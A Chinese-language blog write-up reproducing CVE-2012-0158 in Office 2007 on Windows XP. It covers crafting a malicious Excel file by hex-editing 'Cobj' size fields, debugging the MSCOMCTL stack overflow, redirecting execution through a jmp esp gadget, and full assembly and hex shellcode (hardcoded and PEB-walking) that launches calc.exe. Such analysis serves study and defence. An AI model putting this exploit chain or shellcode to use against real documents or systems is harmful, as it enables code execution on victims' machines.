一小股火星军, 两小股火星军, 三小股火星军~

CVE-2012-0158 分析

2018-11-15

这篇文章主要记录我复现和分析 CVE-2012-0158 的过程.

目录

Environment

操作系统: VMware Windows XP SP3
Office 版本: 2007 标准版 32位

POC构造

通过excel的开发工具插入 Microsoft ListView, 并写一些VB代码如

1
2
Dim L1 As ListItem
Set L1 = ListView1.ListItems.Add(1, "key1", "test1", 0, 0)

然后编译VB, 删除代码后保存

不删除代码会被office拦截插件执行

此时用 WinHex 打开可以看到 Cobj 关键字, 将 Cobj 后的2个 08 00 00 00 修改为某个大于 08 的数 (如18 00 00 00) 使其发生溢出. 此时打开 poc.xls 发现程序崩溃.

只改其中一个什么都不会发生

漏洞原理

使用OllyDBG调试刚刚构造的poc文件, 崩溃时程序栈如下图:(当然上面还有些异常函数处理的栈空间, 这里就不截图进来了)

我们可以猜测漏洞是由 MSCOMCTL 中的函数造成的. 为了验证这一猜测我们可以加断点使程序在加载 MSCOMCTL 时中断: bp LoadLibraryExW,[UNICODE [esp+4]] == "C:\\WINDOWS\\system32\\MSCOMCTL.OCX" 在 Ollydbg 的 Memory 窗口对 Excel .text段下断点后运行程序使加载 MSCOMCTL 过程完成, 再进入 MSCOMCTL, 在上面栈中显示的函数下断点. 单步调试后发现程序在执行至 MSCOMCTL.275C8BDD:retn 0x8 时崩溃.
用 IDAPro 打开并加载.dbg调试文件后得到 MSCOMCTL.275C8BDD 所在函数的代码为:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
int __stdcall CObj::Load(int a1, BSTR bstrString){
BSTR v2; // ebx@1
int result; // eax@1
__int32 v4; // esi@4
int v5; // [sp+Ch] [bp-14h]@1
SIZE_T dwBytes; // [sp+14h] [bp-Ch]@3
int v7; // [sp+18h] [bp-8h]@4
int v8; // [sp+1Ch] [bp-4h]@8

v2 = bstrString;
result = ReadBytesFromStreamPadded((int)&v5, bstrString, 0xCu);
if ( result >= 0 ){
if ( v5 == 'jboC' && dwBytes >= 8 ){
v4 = ReadBytesFromStreamPadded((int)&v7, v2, dwBytes);
if ( v4 >= 0 ){
if ( !v7 )
goto LABEL_8;
bstrString = 0;
v4 = ReadBstrFromStreamPadded((UINT)&bstrString, (int)v2);
if ( v4 >= 0 ){
CObj::SetKey(bstrString);
SysFreeString(bstrString);
LABEL_8:
if ( v8 )
v4 = ReadVariantFromStream((struct tagVARIANT *)(a1 + 20), (struct IStream *)v2);
return v4;
}
}
return v4;
}
result = -2147418113;
}
return result;
}

我们继续使用 Ollydbg 调试我们获得的poc.

  1. .text 段查找 CObj::Load()的起始位置55 8B EC 83 EC 14 53 8B 5D 0C 56 57 6A 0C 8D 45 加断点后运行至此
  2. 单步运行至第二个ReadBytesFromStreamPadded(int, LPVOID lpMem, SIZE_T dwBytes), 栈空间如图所示:
    stack1
    发现dwBytes值为0x18, 超过复制的目标int v7的长度, 在复制目标地址0x1374D8处造成栈溢出, 复制完成后栈空间如图所示:
    stack2
    查看栈空间发现复制进的内容与Excel中Cobj关键字后的内容相符
    hex
  3. 继续单步运行到 ret 0x8 , 返回地址为 FFFFFFFF (之后修改文档中该位置FF FF FF FF就可以任意跳转)

那么我们可以认为该漏洞是由CObj::Load()中的一个内存拷贝函数ReadBytesFromStreamPadded()导致的栈溢出造成的.

漏洞利用

以Cobj(43 6F 62 6A)中的43所在地址为基准, 修改Cobj+0x8Cobj+0xC处size部分为18 10 00 00

增大复制区域以保证shellcode被完全写入栈

修改Cobj+0x1000

此处被Cobj::Load加载为v7, 不修改这个会有额外函数调用, 破坏堆栈结构

修改Cobj+0x1C12 45 FA 7F

0x7FFA4512 处是一个jmp esp指令, 通过这条指令作为跳板
还有call esp指令可以使用, 这些指令的具体地址是通过OLLYDBG在 kernel32ntdll 中查找

Cobj+0x28处插入shellcode
打开修改后的Excel打开了计算器
演示视频

Download

跳转地址是0xffffffff的poc
打开计算器示例1 (因为函数地址是硬编码进去的, 可能其他电脑不适用吧…)
打开计算器示例2 (这个是动态获取api地址的, 应该更通用些)
调试文件

REFERENCE

CVE-2012-0158(ms12-027)漏洞分析与利用
Windows平台shellcode开发入门

PS: shellcode编写

这里只是弹一个计算器, 所以C代码很简单WinExec("calc.exe", 5);
但是在shellcode中并不能直接这样调用, 而是需要根据WinExec()的地址来调用

直接硬编码地址的shellcode

WinExec()的绝对地址是 kernal32.dll 的基地址0x7C800000WinExec()在kernal32中的偏移0x00063231, 即WinExec()的地址为0x7C863231.
然后写成汇编代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
int main(void){
__asm{
push ebp
mov ebp, esp
//WinExec("calc.exe", 5)
xor eax,eax
push eax
mov eax,6578652Eh //".exe"
push eax
mov eax,636C6163h //"calc"
push eax
mov eax,esp
push 5 //Arg2 = SW_SHOW
push eax //Arg1 = "calc.exe"
mov eax,7C863231h //kernel32.WinExec
call eax

mov esp,ebp
pop ebp
}
return 0;
}

那么我该怎么提取出shellcode呢???

  1. Visual Studio
  2. OllyDBG ?

得到shellcode为
55 8B EC 33 C0 50 B8 2E 65 78 65 50 B8 63 61 6C 63 50 8B C4 6A 05 50 B8 31 32 86 7C FF D0 8B E5 5D

动态获取api地址的shellcode

思路是通过查询kernel32.dll的导出表确定GetProcAddress()地址, 再通过GetProcAddress()获取WinExec()地址
汇编代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
int main(void){
__asm{
//查找kernel32.dll基址
xor ecx, ecx
mov eax, fs:[ecx + 0x30] // EAX = PEB
mov eax, [eax + 0xc] // EAX = PEB->Ldr
mov esi, [eax + 0x14] // ESI = PEB->Ldr.InMemOrder
lodsd // EAX = Second module
xchg eax, esi // EAX = ESI, ESI = EAX
lodsd // EAX = Third(kernel32)
mov ebx, [eax + 0x10] // EBX = Base address
push ebx

//找到kernel32.dll的导出表
mov edx, [ebx + 0x3c] // EDX = DOS->e_lfanew
add edx, ebx // EDX = PE Header
mov edx, [edx + 0x78] // EDX = Offset export table
add edx, ebx // EDX = Export table
mov esi, [edx + 0x20] // ESI = Offset names table
add esi, ebx // ESI = Names table
xor ecx, ecx // EXC = 0

Get_Function:
inc ecx // Increment the ordinal
lodsd // Get name offset
add eax, ebx // Get function name
cmp dword ptr[eax], 0x50746547 // GetP
jnz Get_Function
cmp dword ptr[eax + 0x4], 0x41636f72 // rocA
jnz Get_Function
cmp dword ptr[eax + 0x8], 0x65726464 // ddre
jnz Get_Function

//找到GetProcAddress函数地址
mov esi, [edx + 0x24] // ESI = Offset ordinals
add esi, ebx // ESI = Ordinals table
mov cx, [esi + ecx * 2] // CX = Number of function
dec ecx
mov esi, [edx + 0x1c] // ESI = Offset address table
add esi, ebx // ESI = Address table
mov edx, [esi + ecx * 4] // EDX = Pointer(offset)
add edx, ebx // EDX = GetProcAddress

//获取WinExec()地址
pop ebx //kernel32.dll
xor ecx, ecx
push ecx
mov ecx, 0x61636578 // xeca
push ecx
sub dword ptr[esp + 0x3], 0x61 // Remove "a"
push 0x456e6957 // WinE
push esp //"WinExec"
push ebx
call edx

//执行WinExec()
xor ecx, ecx
push ecx
push 0x6578652E //".exe"
push 0x636C6163 //"calc"
mov ebx, esp
push 5
push ebx
call eax
}
return 0;
}

得到shellcode为
33 C9 64 8B 41 30 8B 40 0C 8B 70 14 AD 96 AD 8B 58 10 53 8B 53 3C 03 D3 8B 52 78 03 D3 8B 72 20 03 F3 33 C9 41 AD 03 C3 81 38 47 65 74 50 75 F4 81 78 04 72 6F 63 41 75 EB 81 78 08 64 64 72 65 75 E2 8B 72 24 03 F3 66 8B 0C 4E 49 8B 72 1C 03 F3 8B 14 8E 03 D3 5B 33 C9 51 B9 78 65 63 61 51 83 6C 24 03 61 68 57 69 6E 45 54 53 FF D2 6A 00 68 2E 65 78 65 68 63 61 6C 63 8B DC 6A 05 53 FF D0
由于shellcode变长, 因此需要构造另一个插入更长VB代码的 excel 文件, 如

1
2
3
4
5
6
7
8
9
10
11
12
Dim L1 As ListItem
Dim key1 As String
Dim i As Integer
i = 0
key1 = "key1"
While (i < 5)
key1 = key1 + key1
i = i + 1
Wend
Set L1 = ListView1.ListItems.Add(1, key1 + "1", "test1", 0, 0)
Set L2 = ListView1.ListItems.Add(2, key1 + "2", "test2", 0, 0)
Set L3 = ListView1.ListItems.Add(3, key1 + "3", "test3", 0, 0)

VB代码段过短会导致贴入shellcode后超过原来的VB代码段长度 ,在复制过程中出现shellcode不会被完整复制进栈